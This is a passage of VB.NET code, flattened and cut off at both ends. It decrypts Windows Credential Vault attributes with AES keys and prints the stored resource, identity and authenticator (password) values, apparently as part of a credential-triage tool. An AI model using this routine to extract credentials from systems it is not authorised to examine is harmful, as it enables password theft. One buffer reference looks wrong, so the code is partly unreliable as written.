Byte(-1) {}, dataBytes) Else Dim IVLen As Integer = BitConverter.ToInt32(vaultBytes, attributeOffset) attributeOffset += 4 Dim IVBytes As Byte() = New Byte(IVLen - 1) {} Array.Copy(vaultBytes, attributeOffset, IVBytes, 0, IVLen) attributeOffset += IVLen Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {} Array.Copy(vaultBytes, attributeOffset, dataBytes, 0, dataLen - 1 - 4 - IVLen) attributeOffset += dataLen - 1 - 4 - IVLen finalAttributeOffset = attributeOffset Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes) DescribeVaultItem(decBytes) End If End If Next If (numberOfAttributes > 0) AndAlso (unk0 < 4) Then Dim clearOffset As Integer = finalAttributeOffset - 2 Dim clearBytes As Byte() = New Byte(vaultBytes.Length - clearOffset - 1) {} Array.Copy(vaultBytes, clearOffset, clearBytes, 0, clearBytes.Length) Dim cleatOffSet2 As Integer = 0 cleatOffSet2 += 4 Dim dataLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2) cleatOffSet2 += 4 If dataLen > 2000 Then Console.WriteLine(" [*] Vault credential clear attribute is > 2000 bytes, skipping...") ElseIf dataLen > 0 Then Dim IVPresent As Boolean = BitConverter.ToBoolean(vaultBytes, cleatOffSet2) cleatOffSet2 += 1 If Not IVPresent Then Dim dataBytes As Byte() = New Byte(dataLen - 1 - 1) {} Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1) Dim decBytes As Byte() = Crypto.AESDecrypt(aes128key, New Byte(-1) {}, dataBytes) Else Dim IVLen As Integer = BitConverter.ToInt32(clearBytes, cleatOffSet2) cleatOffSet2 += 4 Dim IVBytes As Byte() = New Byte(IVLen - 1) {} Array.Copy(clearBytes, cleatOffSet2, IVBytes, 0, IVLen) cleatOffSet2 += IVLen Dim dataBytes As Byte() = New Byte(dataLen - 1 - 4 - IVLen - 1) {} Array.Copy(clearBytes, cleatOffSet2, dataBytes, 0, dataLen - 1 - 4 - IVLen) cleatOffSet2 += dataLen - 1 - 4 - IVLen finalAttributeOffset = cleatOffSet2 Dim decBytes As Byte() = Crypto.AESDecrypt(aes256key, IVBytes, dataBytes) DescribeVaultItem(decBytes) End If End If End If End Sub Public Shared Sub DescribeVaultItem(ByVal vaultItemBytes As Byte()) Dim offset As Integer = 0 Dim version As Integer = BitConverter.ToInt32(vaultItemBytes, offset) offset += 4 Dim count As Integer = BitConverter.ToInt32(vaultItemBytes, offset) offset += 4 offset += 4 For i As Integer = 0 To count - 1 Dim id As Integer = BitConverter.ToInt32(vaultItemBytes, offset) offset += 4 Dim size As Integer = BitConverter.ToInt32(vaultItemBytes, offset) offset += 4 Dim entryString As String = Encoding.Unicode.GetString(vaultItemBytes, offset, size) Dim entryData As Byte() = New Byte(size - 1) {} Array.Copy(vaultItemBytes, offset, entryData, 0, size) offset += size Select Case id Case 1 Console.WriteLine(" Resource : {0}", entryString) Case 2 Console.WriteLine(" Identity : {0}", entryString) Case 3 Console.WriteLine(" Authenticator : {0}", entryString) Case Else If Helpers.IsUnicode(entryData) Then Console.WriteLine(" Property {0} : {1}", id, entryString) Else Dim entryDataString As String = BitConverter.ToString(entryData).Replace("-", " ") &nb |